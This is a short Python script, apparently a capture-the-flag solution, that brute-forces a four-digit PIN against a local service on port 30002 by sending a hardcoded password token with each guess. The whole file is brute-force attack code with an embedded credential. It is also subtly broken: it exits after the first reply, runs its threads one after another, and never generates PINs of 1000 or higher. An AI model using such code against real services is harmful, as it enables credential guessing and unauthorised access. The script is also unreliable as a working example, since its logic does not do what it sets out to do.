#! /usr/bin/python3

import socket, queue, threading

class brute(threading.Thread):

    def __init__(self, Queue):
        threading.Thread.__init__(self)
        self.Queue = Queue

    def run(self):
        while 1:
            try:
                pin = self.Queue.get(timeout=1)
            except queue.Empty:
                return
            print("Trying", pin)
            sock = socket.socket()
            sock.connect(("127.0.0.1", 30002))
            sock.send(("UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ {}\n".format(pin)).encode("utf-8"))
            ans = sock.recv(4096).decode("utf-8")
            print(ans)
            exit()
            if not "wrong" in ans.lower():
                print(ans)
            sock.close()
            self.Queue.task_done()

Queue = queue.Queue()

threads = []
for i in range(9999):
    if i<1000:
        pin = "0"+str(i)
        if i<100:
            pin = "0"+pin
            if i<10:
                pin = "0"+pin
    Queue.put(pin)

for i in range(75):
    thread = brute(Queue)
    thread.run()
    threads.append(thread)


for i in threads:
    i.join()